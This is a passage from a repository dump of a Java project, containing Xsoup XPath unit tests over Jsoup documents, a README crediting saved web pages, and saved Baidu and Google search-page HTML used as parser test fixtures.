}\n\n    @Test\n    public void testNth() {\n\n        Document document = Jsoup.parse(htmlClass);\n\n        String result = Xsoup.select(document, \"//body/div[1]\").get();\n        assertThat(result).isEqualTo(\"<div class=\\\"a b c\\\">\\n\" +\n                \" <div>\\n\" +\n                \"  <a href=\\\"https://github.com\\\">github.com</a>\\n\" +\n                \" </div>\\n\" +\n                \"</div>\");\n\n        result = Xsoup.select(document, \"//body/div[2]\").get();\n        assertThat(result).isEqualTo(\"<div>\\n\" +\n                \" b\\n\" +\n                \"</div>\");\n\n        String htmlSVG = \"<div><svg>1</svg><svg>2</svg></div>\";\n        result = Xsoup.select(htmlSVG, \"//div/svg[1]/text()\").get();\n        assertThat(result).isEqualTo(\"1\");\n        result = Xsoup.select(htmlSVG, \"//div/svg[2]/text()\").get();\n        assertThat(result).isEqualTo(\"2\");\n    }\n\n    @Test\n    public void testAttribute() {\n\n        Document document = Jsoup.parse(htmlClass);\n\n        String result = Xsoup.select(document, \"//a/@href\").get();\n        assertThat(result).isEqualTo(\"https://github.com\");\n\n        result = Xsoup.select(document, \"//a/text()\").get();\n        assertThat(result).isEqualTo(\"github.com\");\n\n        result = Xsoup.select(document, \"//div[@class=a]/html()\").get();\n        assertThat(result).isEqualTo(\"<div>\\n\" +\n                \" <a href=\\\"https://github.com\\\">github.com</a>\\n\" +\n                \"</div>\");\n\n    }\n\n    @Test\n    public void testWildcard() {\n\n        Document document = Jsoup.parse(htmlClass);\n\n        String result = Xsoup.select(document, \"//*[@href]/@href\").get();\n        assertThat(result).isEqualTo(\"https://github.com\");\n\n        result = Xsoup.select(document, \"//*[@class=a]/html()\").get();\n        assertThat(result).isEqualTo(\"<div>\\n\" +\n                \" <a href=\\\"https://github.com\\\">github.com</a>\\n\" +\n                \"</div>\");\n\n        List<String> list = Xsoup.select(document, \"//*[@*]/html()\").list();\n        assertThat(list.get(0)).isEqualTo(\"<div>\\n\" +\n                \" <a href=\\\"https://github.com\\\">github.com</a>\\n\" +\n                \"</div>\");\n        assertThat(list.get(1)).isEqualTo(\"github.com\");\n    }\n\n    @Test\n    public void testFuzzyValueMatch() {\n\n        Document document = Jsoup.parse(html);\n\n        String result = Xsoup.select(document, \"//*[@id~=te]/text()\").get();\n        assertThat(result).isEqualTo(\"aaa\");\n        result = Xsoup.select(document, \"//*[@id$=st]/text()\").get();\n        assertThat(result).isEqualTo(\"aaa\");\n        result = Xsoup.select(document, \"//*[@id*=es]/text()\").get();\n        assertThat(result).isEqualTo(\"aaa\");\n        result = Xsoup.select(document, \"//*[@id~='tes[t]+']/text()\").get();\n        assertThat(result).isEqualTo(\"aaa\");\n\n        result = Xsoup.select(document, \"//*[@id~=te]/allText()\").get();\n        assertThat(result).isEqualTo(\"aaa github.com\");\n    }\n\n    @Test\n    public void testLogicOperation() {\n\n        Document document = Jsoup.parse(html);\n\n        String result = Xsoup.select(document, \"//*[@id=te or @id=test]/text()\").get();\n        assertThat(result).isEqualTo(\"aaa\");\n\n        result = Xsoup.select(document, \"//*[@id=test or @id=te]/text()\").get();\n        assertThat(result).isEqualTo(\"aaa\");\n\n        result = Xsoup.select(document, \"//*[@id=te and @id=test]/text()\").get();\n        assertThat(result).isNull();\n\n        result = Xsoup.select(document, \"//*[(@id=te or @id=test) and @id=test]/text()\").get();\n        assertThat(result).isEqualTo(\"aaa\");\n\n        result = Xsoup.select(document, \"//*[@id=te or (@id=test and @id=id)]/text()\").get();\n        assertThat(result).isNull();\n    }\n\n    @Test\n    public void testRegex() {\n\n        Document document = Jsoup.parse(html);\n\n        String result = Xsoup.select(document, \"//*[@id~=te]/regex('gi\\\\w+ub')\").get();\n        assertThat(result).isEqualTo(\"github\");\n\n        result = Xsoup.select(document, \"//a/regex('@href','.*gi\\\\w+ub.*')\").get();\n        assertThat(result).isEqualTo(\"https://github.com\");\n\n        result = Xsoup.select(document, \"//a/regex('@href','.*(gi\\\\w+ub).*',1\").get();\n        assertThat(result).isEqualTo(\"github\");\n    }\n\n    @Test\n    public void testContains() {\n\n        Document document = Jsoup.parse(html);\n\n        String result = Xsoup.select(document, \"//div[contains(@id,'te')]\").get();\n        assertThat(result).isEqualTo(\"<div id=\\\"test\\\">\\n\" +\n                \" aaa\\n\" +\n                \" <div>\\n\" +\n                \"  <a href=\\\"https://github.com\\\">github.com</a>\\n\" +\n                \" </div>\\n\" +\n                \"</div>\");\n\n    }\n\n    @Test\n    public void testCombingXPath() {\n\n        String html2 = \"<html><div id='test2'>aa<a href='https://github.com'>github.com</a></div>\";\n\n        Document document = Jsoup.parse(html);\n\n        XPathEvaluator xPathEvaluator = XPathParser.parse(\"//div[@id='test']/text() | //div[@id='test2']/text()\");\n        assertThat(xPathEvaluator.hasAttribute()).isTrue();\n        XElements select = xPathEvaluator.evaluate(document);\n        assertThat(select.get()).isEqualTo(\"aaa\");\n\n\n        select = Xsoup.select(html2, \"//div[@id='test']/text() | //div[@id='test2']/text()\");\n        assertThat(select.get()).isEqualTo(\"aa\");\n\n        select = Xsoup.select(html + html2, \"//div[@id='test']/text() | //div[@id='test2']/text()\");\n        assertThat(select.list()).contains(\"aaa\", \"aa\");\n\n        xPathEvaluator = XPathParser.parse(\"//div[@id='test'] | //div[@id='test2']\");\n        assertThat(xPathEvaluator.hasAttribute()).isFalse();\n    }\n\n    @Test\n    public void testSeparatorInQuotes() {\n\n        String html2 = \"<html><div id='test2'>/list/12345<a href='https://github.com'>github.com</a></div>\";\n\n        Document document = Jsoup.parse(html2);\n\n        String result = Xsoup.select(document, \"//div[@id='test2']/regex(\\\"/list/(\\\\d+)\\\",1)\").get();\n        assertThat(result).isEqualTo(\"12345\");\n\n    }\n\n    @Test\n    public void testEmptyElementEvaluator() {\n\n        String html2 = \"<a href='https://github.com'>github.com</a>\";\n\n        Element element = Jsoup.parse(html2).getElementsByTag(\"a\").get(0);\n\n        String result = Xsoup.select(element, \"@href\").get();\n        assertThat(result).isEqualTo(\"https://github.com\");\n\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/test/java/com/jun/plugin/xsoup/w3c/DocumentAdaptorTest.java",
    "content": "package com.jun.plugin.xsoup.w3c;\n\nimport org.jsoup.Jsoup;\nimport org.junit.Test;\nimport org.w3c.dom.Document;\n\nimport com.jun.plugin.xsoup.w3c.DocumentAdaptor;\n\nimport javax.xml.xpath.XPath;\nimport javax.xml.xpath.XPathExpression;\nimport javax.xml.xpath.XPathFactory;\n\nimport static org.assertj.core.api.Assertions.assertThat;\n\n/**\n * @author code4crafer@gmail.com\n */\npublic class DocumentAdaptorTest {\n\n    private String html = \"<html><body><div id='test'>aaa<div><a href=\\\"https://github.com\\\">github.com</a></div></div></body></html>\";\n\n    @Test\n    public void testDocumentAdaptor() throws Exception {\n        Document document = new DocumentAdaptor(Jsoup.parse(html));\n        XPathFactory xPathfactory = XPathFactory.newInstance();\n        XPath target = xPathfactory.newXPath();\n        XPathExpression xPathExpression = target.compile(\"//div/a/@href\");\n        String result = xPathExpression.evaluate(document);\n        assertThat(result).isEqualTo(\"https://github.com\");\n\n    }\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/test/java/com/jun/plugin/xsoup/w3c/W3cEvaluatorTest.java",
    "content": "package com.jun.plugin.xsoup.w3c;\n\nimport static org.assertj.core.api.Assertions.assertThat;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\nimport javax.xml.xpath.XPath;\nimport javax.xml.xpath.XPathConstants;\nimport javax.xml.xpath.XPathExpression;\nimport javax.xml.xpath.XPathExpressionException;\nimport javax.xml.xpath.XPathFactory;\n\nimport org.jsoup.Jsoup;\nimport org.junit.Test;\nimport org.w3c.dom.Node;\nimport org.w3c.dom.NodeList;\n\nimport com.jun.plugin.xsoup.Xsoup;\n\n/**\n * @author code4crafer@gmail.com\n */\npublic class W3cEvaluatorTest {\n\n    private String html = \"<html><body><div id='test'>aaa<div><a href=\\\"https://github.com\\\">github.com</a></div></div></body></html>\";\n\n    private String htmlClass = \"<html><body><div class='a b c'><div><a href=\\\"https://github.com\\\">github.com</a></div></div><div>b</div></body></html>\";\n\n    @Test\n    public void testSelect() throws XPathExpressionException {\n\n        String html = \"<html><div><a href='https://github.com'>github.com</a></div>\" +\n                \"<table><tr><td>a</td><td>b</td></tr></table></html>\";\n\n        org.w3c.dom.Document document = Xsoup.convertDocument(Jsoup.parse(html));\n\n        assertThat(getStringValue(document, \"//div/a/@href\")).isEqualTo(\"https://github.com\");\n\n        List<String> nodeListValue = getNodeListValue(document, \"//tr/td\");\n        assertThat(nodeListValue.get(0)).isEqualTo(\"<td>a</td>\");\n        assertThat(nodeListValue.get(1)).isEqualTo(\"<td>b</td>\");\n    }\n\n    private String getStringValue(org.w3c.dom.Document document, String expression) throws XPathExpressionException {\n        XPathExpression xPathExpression = newXPathExpression(expression);\n        return xPathExpression.evaluate(document);\n    }\n\n    private XPathExpression newXPathExpression(String expression) throws XPathExpressionException {\n        XPathExpression xPathExpression;\n        XPathFactory xPathfactory = XPathFactory.newInstance();\n        XPath target = xPathfactory.newXPath();\n        xPathExpression = target.compile(expression);\n        return xPathExpression;\n    }\n\n    private String getNodeValue(org.w3c.dom.Document document, String expression) throws XPathExpressionException {\n        XPathExpression xPathExpression = newXPathExpression(expression);\n        Object evaluate = xPathExpression.evaluate(document, XPathConstants.NODE);\n        if (evaluate == null) {\n            return null;\n        }\n        Node node = (Node) evaluate;\n        return node.getNodeValue();\n    }\n\n    private List<String> getNodeListValue(org.w3c.dom.Document document, String expression) throws XPathExpressionException {\n        XPathExpression xPathExpression = newXPathExpression(expression);\n        Object evaluate = xPathExpression.evaluate(document, XPathConstants.NODESET);\n        if (evaluate == null) {\n            return null;\n        }\n        NodeList nodeList = (NodeList) evaluate;\n        List<String> nodeStrings = new ArrayList<String>(nodeList.getLength());\n        for (int i = 0; i < nodeList.getLength(); i++) {\n            nodeStrings.add(nodeList.item(i).getNodeValue());\n        }\n        return nodeStrings;\n    }\n\n    @Test\n    public void testParent() throws XPathExpressionException {\n\n        org.w3c.dom.Document document = Xsoup.convertDocument(Jsoup.parse(html));\n\n        assertThat(getNodeValue(document, \"/html/body/div/div/a\")).isEqualTo(\"<a href=\\\"https://github.com\\\">github.com</a>\");\n        assertThat(getNodeValue(document, \"/html//div/div/a\")).isEqualTo(\"<a href=\\\"https://github.com\\\">github.com</a>\");\n\n        assertThat(getNodeValue(document, \"/html/div/div/a\")).isNull();\n\n    }\n\n    @Test\n    public void testByAttribute() throws XPathExpressionException {\n\n        org.w3c.dom.Document document = Xsoup.convertDocument(Jsoup.parse(html));\n\n        assertThat(getNodeValue(document, \"//a[@href]\")).isEqualTo(\"<a href=\\\"https://github.com\\\">github.com</a>\");\n\n        assertThat(getNodeValue(document, \"//a[@id]\")).isNull();\n\n        String expectedDiv = \"<div id=\\\"test\\\">\\n\" +\n                \" aaa\\n\" +\n                \" <div>\\n\" +\n                \"  <a href=\\\"https://github.com\\\">github.com</a>\\n\" +\n                \" </div>\\n\" +\n                \"</div>\";\n\n\n        //TODO: illegal\n        //assertThat(getNodeValue(document,\"//div[@id=test]\")).isEqualTo(expectedDiv);\n\n        assertThat(getNodeValue(document, \"//div[@id='test']\")).isEqualTo(expectedDiv);\n        assertThat(getNodeValue(document, \"//div[@id=\\\"test\\\"]\")).isEqualTo(expectedDiv);\n    }\n\n    @Test\n    public void testClass() throws XPathExpressionException {\n\n        org.w3c.dom.Document document = Xsoup.convertDocument(Jsoup.parse(htmlClass));\n\n\n        assertThat(getNodeListValue(document,\"//div[@class='a b c']\").get(0)).isEqualTo(\"<div class=\\\"a b c\\\">\\n\" +\n                \" <div>\\n\" +\n                \"  <a href=\\\"https://github.com\\\">github.com</a>\\n\" +\n                \" </div>\\n\" +\n                \"</div>\");\n\n        assertThat(getNodeListValue(document, \"//div[@class='b']\")).isNullOrEmpty();\n\n        assertThat(getNodeListValue(document, \"//div[@class='d']\")).isNullOrEmpty();\n\n\n    }\n\n    @Test\n    public void testNth() throws XPathExpressionException {\n\n        org.w3c.dom.Document document = Xsoup.convertDocument(Jsoup.parse(htmlClass));\n\n        assertThat(getNodeValue(document, \"//body/div[1]\")).isEqualTo(\"<div class=\\\"a b c\\\">\\n\" +\n                \" <div>\\n\" +\n                \"  <a href=\\\"https://github.com\\\">github.com</a>\\n\" +\n                \" </div>\\n\" +\n                \"</div>\");\n\n        assertThat(getNodeValue(document, \"//body/div[2]\")).isEqualTo(\"<div>\\n\" +\n                \" b\\n\" +\n                \"</div>\");\n\n        String htmlSVG = \"<div><svg>1</svg><svg>2</svg></div>\";\n\n        document = Xsoup.convertDocument(Jsoup.parse(htmlSVG));\n        assertThat(getNodeValue(document, \"//div/svg[1]\")).isEqualTo(\"<svg>\\n\" +\n                \" 1\\n\" +\n                \"</svg>\");\n        assertThat(getNodeValue(document, \"//div/svg[2]\")).isEqualTo(\"<svg>\\n\" +\n                \" 2\\n\" +\n                \"</svg>\");\n    }\n\n    @Test\n    public void testAttribute() throws XPathExpressionException {\n\n        org.w3c.dom.Document document = Xsoup.convertDocument(Jsoup.parse(htmlClass));\n\n        assertThat(getStringValue(document,\"//a/@href\")).isEqualTo(\"https://github.com\");\n\n        //TODO:  not support\n        //assertThat(getStringValue(document,\"//a/text()\")).isEqualTo(\"github.com\");\n\n        //TODO:  not support\n        //assertThat(getStringValue(document,\"//div[@class=a]/html()\")).isEqualTo(\"<div>\\n\" +\n        //        \" <a href=\\\"https://github.com\\\">github.com</a>\\n\" +\n        //        \"</div>\");\n\n    }\n\n    @Test\n    public void testLogicOperation() throws XPathExpressionException {\n\n        org.w3c.dom.Document document = Xsoup.convertDocument(Jsoup.parse(html));\n\n        String expectedDiv = \"<div id=\\\"test\\\">\\n\" +\n                \" aaa\\n\" +\n                \" <div>\\n\" +\n                \"  <a href=\\\"https://github.com\\\">github.com</a>\\n\" +\n                \" </div>\\n\" +\n                \"</div>\";\n\n        assertThat(getNodeValue(document, \"//*[@id='te' or @id='test']\")).isEqualTo(expectedDiv);\n\n        assertThat(getNodeValue(document, \"//*[@id='te' and @id='test']\")).isNullOrEmpty();\n\n        assertThat(getNodeValue(document, \"//*[@id='te' and @id='test']\")).isNullOrEmpty();\n\n        assertThat(getNodeValue(document,\"//*[(@id='te' or @id='test') and @id='test']\")).isEqualTo(expectedDiv);\n\n        assertThat(getNodeValue(document,\"//*[@id='te' or (@id='test' and @id='id')]\")).isNull();\n    }\n\n    @Test\n    public void testContains() throws XPathExpressionException {\n\n        org.w3c.dom.Document document = Xsoup.convertDocument(Jsoup.parse(html));\n\n        assertThat(getNodeValue(document,\"//div[contains(@id,'te')]\")).isEqualTo(\"<div id=\\\"test\\\">\\n\" +\n                \" aaa\\n\" +\n                \" <div>\\n\" +\n                \"  <a href=\\\"https://github.com\\\">github.com</a>\\n\" +\n                \" </div>\\n\" +\n                \"</div>\");\n\n    }\n\n    @Test\n    public void testCombingXPath() throws XPathExpressionException {\n\n        String html2 = \"<html><div id='test2'>aa<a href='https://github.com'>github.com</a></div>\";\n\n        String expectedDiv1 = \"<div id=\\\"test\\\">\\n\" +\n                \" aaa\\n\" +\n                \" <div>\\n\" +\n                \"  <a href=\\\"https://github.com\\\">github.com</a>\\n\" +\n                \" </div>\\n\" +\n                \"</div>\";\n\n        String expectedDiv2 = \"<div id=\\\"test2\\\">\\n\" +\n                \" aa\" +\n                \"<a href=\\\"https://github.com\\\">github.com</a>\\n\" +\n                \"</div>\";\n\n        org.w3c.dom.Document document = Xsoup.convertDocument(Jsoup.parse(html));\n\n        assertThat(getNodeValue(document, \"//div[@id='test'] | //div[@id='test2']\")).isEqualTo(expectedDiv1);\n\n        document = Xsoup.convertDocument(Jsoup.parse(html2));\n\n        assertThat(getNodeValue(document, \"//div[@id='test'] | //div[@id='test2']\")).isEqualTo(expectedDiv2);\n\n        document = Xsoup.convertDocument(Jsoup.parse(html+html2));\n\n        assertThat(getNodeListValue(document, \"//div[@id='test'] | //div[@id='test2']\")).contains(expectedDiv1,expectedDiv2);\n\n    }\n\n}\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/test/resources/htmltests/README",
    "content": "Note\n====\n\nThe HTML files in this directory (htmltests) are intended to be used for testing the Jsoup parser and improving its\ninteroperability with real world published HTML. These files are not distributed in the core Jsoup library.\n\nThese files remain the copyright of the original owner.\n\nIf you are the copyright holder and do not wish your works to be used in this manner, please contact Jonathan Hedley\n(jonathan@hedley.net) and your works will be removed from this test-suite.\n\nSources\n========\n\n* yahoo-article-1.html    http://news.yahoo.com/s/nm/20100831/bs_nm/us_gm_china 1-Sep-2010\n* smh-biz-article-1.html  http://www.smh.com.au/business/the-boards-next-fear-the-female-quota-20100106-lteq.html\n* news-com-au-home.html   http://www.news.com.au/\t11-Jan-2010\n* google-ipod.html\t\t  http://www.google.com/search?hl=en&q=ipod&aq=f&oq=&aqi=g10\t11-Jan-2010\n* yahoo-jp.html\t\t\t  http://www.yahoo.co.jp/index.html\t12-Jan-2010\n* baidu-cn-home.html\t  http://www.baidu.com/ 15-Jul-2010\n* nyt-article-1.html      http://www.nytimes.com/2010/07/26/business/global/26bp.html?hp\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/test/resources/htmltests/baidu-cn-home.html",
    "content": "<!doctype html><html><head><meta http-equiv=\"Content-Type\" content=\"text/html;charset=gb2312\"><title>ٶһ£֪      </title><style>body{font:12px arial;text-align:center;background:#fff}body,p,form{margin:0;padding:0}body,form,#lg{position:relative}td{text-align:left}img{border:0}a{color:#00c}a:active{color:#f60}#u{padding:7px 10px 3px 0;text-align:right}#m{width:650px;margin:0 auto}#nv{font-size:16px;margin:0 0 4px -32px}#nv a,#nv b,#su,#lk{font-size:14px}#lg{margin:-17px 0 9px}#fm{padding-left:111px;text-align:left}#kw{width:391px;line-height:16px;padding:3px 1px;margin:0 6px 0 0;font:16px arial}#su{width:78px;height:28px;line-height:24px}#kw,#su{vertical-align:middle}#lk{margin:33px 0}#lk span{font:14px \"\"}#lm{height:60px}#lh{margin:16px 0 5px;font:12px \"\"}#lh a{font:12px arial}#hp{position:absolute;line-height:14px;margin:0 0 0 6px;top:-1px;*top:2px}#cp,#cp a{color:#77c}#sx{color:#00C;text-decoration:underline;cursor:pointer;}</style></head>\n<body><p id=\"u\"><a href=\"http://passport.baidu.com/?login&tpl=mn\">¼</a></p><div id=\"m\"><p id=\"lg\"><img src=\"http://www.baidu.com/img/baidu_logo.gif\" width=\"270\" height=\"129\" usemap=\"#mp\"></p><p id=\"nv\"><a href=\"http://news.baidu.com\">&nbsp;</a><b>&nbsp;ҳ</b><a href=\"http://tieba.baidu.com\">&nbsp;</a><a href=\"http://zhidao.baidu.com\">֪&nbsp;</a><a href=\"http://mp3.baidu.com\">MP3</a><a href=\"http://image.baidu.com\">ͼ&nbsp;Ƭ</a><a href=\"http://video.baidu.com\">&nbsp;Ƶ</a><a href=\"http://map.baidu.com\">&nbsp;ͼ</a></p><div id=\"fm\"><form name=\"f\" action=\"s\"><input type=\"text\" name=\"wd\" id=\"kw\" maxlength=\"100\"><input type=\"submit\" value=\"ٶһ\" id=\"su\"><span id=\"hp\"><a href=\"/gaoji/preferences.html\"></a><br><span id=\"sx\">д</span></span></form></div>\n<p id=\"lk\"><a href=\"http://hi.baidu.com\">ռ</a><a href=\"http://baike.baidu.com\">ٿ</a><a href=\"http://www.hao123.com\">hao123</a><span> | <a href=\"/more/\">&gt;&gt;</a></span></p><p id=\"lm\"></p><p><a id=\"st\" onClick=\"this.style.behavior='url(#default#homepage)';this.setHomePage('http://www.baidu.com')\" href=\"http://utility.baidu.com/traf/click.php?id=215&url=http://www.baidu.com\">ѰٶΪҳ</a></p><p id=\"lh\"><a href=\"http://e.baidu.com/?refer=888\">ٶƹ</a> | <a href=\"http://top.baidu.com\">ư</a> | <a href=\"http://home.baidu.com\">ڰٶ</a> | <a href=\"http://ir.baidu.com\">About Baidu</a></p><p id=\"cp\">&copy;2010 Baidu <a href=\"/duty/\">ʹðٶǰض</a> <a href=\"http://www.miibeian.gov.cn\" target=\"_blank\">ICP֤030173</a> <img src=\"http://gimg.baidu.com/img/gs.gif\"></p></div><map name=\"mp\"><area shape=\"rect\" coords=\"43,22,227,91\" href=\"http://hi.baidu.com/baidu/\" target=\"_blank\" title=\"˽ ٶȵĿռ\"></map></body>\n<script>var w=window,d=document,n=navigator,k=d.f.wd,a=d.getElementById(\"nv\").getElementsByTagName(\"a\");if(n.userAgent.indexOf(\"MSIE\")==-1||window.opera){d.getElementById(\"st\").style.display=\"none\"};for(var i=0;i<a.length;i++){a[i].onclick=function(){if(k.value.length>0){var o=this,h=o.href,q=encodeURIComponent(k.value);if(h.indexOf(\"q=\")!=-1){o.href=h.replace(/q=[^&$]*/,\"q=\"+q)}else{this.href+=\"?q=\"+q}}}};(function(){if(/q=([^&]+)/.test(location.search)){k.value=decodeURIComponent(RegExp.$1)}})();if(n.cookieEnabled&&!/sug?=0/.test(d.cookie)){d.write('<script src=http://www.baidu.com/js/bdsug.js?v=1.0.3.0><\\/script>')};if(w.attachEvent){w.attachEvent(\"onload\",function(){k.focus();})}else{w.addEventListener('load',function(){k.focus()},true)};w.onunload=function(){};var hw={};hw.i=d.getElementById(\"sx\");var il=false;if(/msie (\\d+\\.\\d)/i.test(n.userAgent)){hw.i.setAttribute(\"unselectable\",\"on\")}else{var sL=k.value.length;k.selectionStart=sL;k.selectionEnd=sL}hw.i.onclick=function(B){var B=B||w.event;B.stopPropagation?B.stopPropagation():(B.cancelBubble=true);if(d.selection&&d.activeElement.id&&d.activeElement.id==\"kw\"){hw.hasF=1}else{if(!d.selection){hw.hasF=1}}if(!il){var A=d.createElement(\"script\");A.setAttribute(\"src\",\"http://www.baidu.com/hw/hwInput.js\");d.getElementsByTagName(\"head\")[0].appendChild(A);il=true;setTimeout(function(){if(baidu){baidu.sug.initial()}},1000)}};</script></html><!--67703e841e07cfba-->"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/test/resources/htmltests/baidu-variant.html",
    "content": "<!doctype html><html><head><meta name=\"test\" content=\"Test\"><meta http-equiv=\"Content-Type\" content=\"text/html;charset=gb2312\"><title>ٶһ£֪</title>\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/test/resources/htmltests/google-ipod.html",
    "content": "<!doctype html><head><title>ipod - Google Search</title><script>window.google={kEI:\"uYlKS4SbBoGg6gPf-5XXCw\",kEXPI:\"17259,17315,22713,23189\",kCSI:{e:\"17259,17315,22713,23189\",ei:\"uYlKS4SbBoGg6gPf-5XXCw\"},kHL:\"en\",time:function(){return(new Date).getTime()},log:function(b,d,c){var a=new Image,e=google,g=e.lc,f=e.li;a.onerror=(a.onload=(a.onabort=function(){delete g[f]}));g[f]=a;c=c||\"/gen_204?atyp=i&ct=\"+b+\"&cad=\"+d+\"&zx=\"+google.time();a.src=c;e.li=f+1},lc:[],li:0};\nwindow.google.sn=\"web\";window.google.timers={load:{t:{start:(new Date).getTime()}}};try{}catch(u){}window.google.jsrt_kill=1;\n</script><style>body{background:#fff;color:#000;margin:3px 8px}#gbar{float:left;height:22px}.gbh,.gbd{border-top:1px solid #c9d7f1;font-size:1px}.gbh{height:0;position:absolute;top:24px;width:100%}#gbs,.gbm{background:#fff;left:0;position:absolute;text-align:left;visibility:hidden;z-index:1000}.gbm{border:1px solid;border-color:#c9d7f1 #36c #36c #a2bae7;z-index:1001}#guser{padding-bottom:7px !important;text-align:right}#gbar,#guser{font-size:13px;padding-top:1px !important}.gb1,.gb3,.gb3i,.gb3f{zoom:1;margin-right:.5em}.gb2,.gb2i,.gb2f{display:block;padding:.2em .5em}a.gb1,a.gb2,a.gb3,a.gb4{color:#00c !important}.gb2,.gb2i,.gb2f,.gb3,.gb3i,.gb3f{text-decoration:none}a.gb2:hover{background:#36c;color:#fff !important}a.gb1,a.gb2,a.gb3,.link{color:#20c!important}.ts{border-collapse:collapse}.ts td{padding:0}.ti,.bl,form,#res h3{display:inline}.ti{display:inline-table}.fl:link,.gl,.gl a:link{color:#77c}a:link,.w,#prs a:visited,#prs a:active,.q:active,.q:visited{color:#20c}.mblink:visited,a:visited{color:#551a8b}a:active{color:red}.cur{color:#a90a08;font-weight:bold}.b{font-weight:bold}.j{width:42em;font-size:82%}.s{max-width:42em}.sl{font-size:82%}#gb{text-align:right;padding:1px 0 7px;margin:0}.hd{position:absolute;width:1px;height:1px;top:-1000em;overflow:hidden}.f,.m,.c h2,#mbEnd h2{color:#676767}.a,cite,.cite,.cite:link{color:green;font-style:normal}#mbEnd{float:right}h1,ol{margin:0;padding:0}li.g,body,html,.std,.c h2,#mbEnd h2,h1{font-size:small;font-family:arial,sans-serif}.c h2,#mbEnd h2,h1{font-weight:normal}#ssb,.clr{clear:both;margin:0 8px}#nav a,#nav a:visited,.blk a{color:#000}#nav a{display:block}#nav .b a,#nav .b a:visited{color:#20c}#nav .i{color:#a90a08;font-weight:bold}.csb,.ss,#logo span,#rptglbl{background:url(/images/nav_logo7.png) no-repeat;overflow:hidden}.csb,.ss{background-position:0 0;height:26px;display:block}.ss{background-position:0 -88px;position:absolute;left:0;top:0}.cps{height:18px;overflow:hidden;width:114px}.mbi{width:13px;height:13px;background-position:-91px -74px;position:relative;top:2px;margin-right:3px}#nav td{padding:0;text-align:center}#logo{display:block;overflow:hidden;position:relative;width:103px;height:37px;margin:11px 0 7px}#logo img{border:none;position:absolute;left:-0px;top:-26px}.pin{overflow:hidden;height:36px;width:22px;position:relative;display:block}.pin img{position:absolute}.pin1{top:0}.pin2{top:-36px}.pin3{top:-72px}.pin4{top:-108px}.pin5{top:-144px}.pin6{top:-180px}.pin7{top:-216px}.pindot{bottom:0px}#logo span,.ch{cursor:pointer}.lst{font-family:arial,sans-serif;font-size:17px;vertical-align:middle}.lsb{-webkit-appearance:button;padding:0 8px;border:1px solid #999;-webkit-border-radius:2px;background:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#ddd));font-family:arial,sans-serif;font-size:15px;height:1.85em;vertical-align:middle}.lsb:active {background:-webkit-gradient(linear,left top,left bottom,from(#ccc),to(#ddd))}h3,.med{font-size:medium;font-weight:normal;padding:0;margin:0}.e{margin:.75em 0}.bc a{color:green;text-decoration:none}.bc a:hover{text-decoration:underline}.slk td{padding-left:40px;padding-top:5px;vertical-align:top}.slk div{padding-left:10px;text-indent:-10px}.fc{margin-top:.5em;padding-left:3em}#mbEnd cite{display:block;text-align:left}#mbEnd p{margin:-.5em 0 0 .5em;text-align:center}#bsf,#ssb,.blk{border-top:1px solid #6b90da;background:#f0f7f9}#bsf{border-bottom:1px solid #6b90da}#flp{margin:7px 0}#ssb div{float:left;padding:4px 0 0;padding-left:7px;padding-right:.5em}#prs a,#prs b{margin-right:.6em}#ssb p{text-align:right;white-space:nowrap;margin:.1em 0;padding:.2em}#ssb{margin:0 8px 11px;padding:.1em}#cnt{max-width:80em;clear:both}#mbEnd{background:#fff;padding:0;border-left:11px solid #fff;border-spacing:0;white-space:nowrap}#res{padding-right:1em;margin:0 16px}.c{background:#fff8dd;margin:0 8px}.c li{padding:0 3px 0 8px;margin:0}.c .tam,.c .tal{padding-top:12px}#mbEnd li{margin:1em 0;padding:0}.xsm{font-size:x-small}.sm{margin:0 0 0 40px;padding:0}ol li{list-style:none}.sm li{margin:0}.gl,#bsf a,.nobr{white-space:nowrap}#mbEnd .med{white-space:normal}.sl,.r{display:inline;font-weight:normal;margin:0}.r{font-size:medium}h4.r{font-size:small}.mr{margin-top:-.5em}.rt1 {background:transparent url(/images/bubble1.png) no-repeat;}.rt2 {background:transparent url(/images/bubble2.png) repeat 0 0 scroll;}.sb {background: url(/images/scrollbar.png) repeat scroll 0 0;cursor:pointer;width:14px;}.rtdm:hover {text-decoration:underline;}.ri_cb{left:0;margin:6px;position:absolute;top:0;z-index:1}.ri_sp{display:-moz-inline-box;display:inline-block;text-align:center;vertical-align:top;margin-bottom:6px}.ri_sp img{vertical-align:bottom}.g{margin:1em 0}.mbl{margin:1em 0 0}em{font-weight:bold;font-style:normal}.tbi div, #tbp{background:url(/images/nav_logo7.png) no-repeat;overflow:hidden;width:13px;height:13px;}#ssb #tbp{background-position:-91px -74px;padding:0;margin-top:1px;margin-left:0.75em;}.tbpo,.tbpc{margin-left:3px;margin-right:1em;text-decoration:underline;white-space:nowrap;}.tbpc,.tbo .tbpo {display:inline}.tbo .tbpc,.tbpo{display:none}#prs *{float:left}#prs a, #prs b{position:relative;bottom:.05em;margin-right:.3em}.std dfn{padding-left:.2em;padding-right:.5em}dfn{font-style:normal;font-weight:bold;padding-left:1px;padding-left:2px;position:relative;top:-.12em}#tbd{display:none;margin-left:-9.6em}.tbo #tads,.tbo #pp,.tbo #tadsb{margin-left:13em}.tbo #res{margin-left:11.05em;}.tbo #tbd{width:9.6em;padding:0;left:11px;background:#fff;border-right:1px solid #c9d7f1;position:absolute;display:block;margin-left:0}.tbo #mbEnd{width:26%}</style><script>google.y={};google.x=function(e,g){google.y[e.id]=[e,g];return false};if(!window.google)window.google={};window.google.crm={};window.google.cri=0;window.clk=function(d,e,f,j,k,l,m){if(document.images){var a=encodeURIComponent||escape,b=new Image,g=window.google.cri++;window.google.crm[g]=b;b.onerror=(b.onload=(b.onabort=function(){delete window.google.crm[g]}));b.src=[\"/url?sa=T\",\"\\x26source\\x3dweb\",e?\"&oi=\"+a(e):\"\",f?\"&cad=\"+a(f):\"\",\"&ct=\",a(j||\"res\"),\"&cd=\",a(k),\"&ved=\",a(m),d?\"&url=\"+a(d.replace(/#.*/,\"\")).replace(/\\+/g,\"%2B\"):\"\",\"&ei=\",\"uYlKS4SbBoGg6gPf-5XXCw\",l].join(\"\")}\nreturn 